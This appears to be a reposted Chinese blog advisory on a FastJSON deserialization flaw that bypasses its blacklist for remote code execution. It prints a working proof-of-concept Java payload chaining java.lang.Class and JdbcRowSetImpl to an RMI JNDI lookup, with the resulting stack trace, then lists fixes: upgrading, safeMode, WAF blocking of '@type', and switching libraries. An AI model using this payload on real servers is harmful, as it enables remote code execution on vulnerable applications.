本文共 2687 字,大约阅读时间需要 8 分钟。
通常是指软件版本,一个新的版本出来之后,随之而来的破解版本在24小时内即会出现。前段时间,阿里云云盾应急响应中心监测到FastJSON存在0day漏洞,攻击者可以利用该漏洞绕过黑名单策略进行远程代码执行。
public class DemoTest { public static void main(String[] args) { String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}}"; JSON.parse(payload); }}
com.alibaba fastjson 1.2.28
程序执行信息:
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:132) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:588) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:948) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:371) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:520) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1335) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1301) at com.alibaba.fastjson.JSON.parse(JSON.java:148) at com.alibaba.fastjson.JSON.parse(JSON.java:139) at com.jason.seria.fastjason.DemoTest .main(Demo.java:10) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:92) ... 11 more Caused by: java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接 at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634) at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067) ... 16 more
FastJSON 1.2.48以下版本
方案一:pom.xml中引用的版本升级:
升级Fastjosn到1.2.76版本或更新版本;
方案二:开启safeMode=true,开启方式可参考如下:
1) 在JVM配置增加:-Dfastjson.parser.safeMode=true
2) 在fastjson.properties设置fastjson.parser.safeMode=true
方案三:防火墙拦截:
WAF拦截Json请求中的多种编码形式的‘@type’,‘\u0040type’等字样;
方案四:更换其它序列化方式:
建议尽可能使用Jackson或者Gson;
转载地址:http://flsn.baihongyu.com/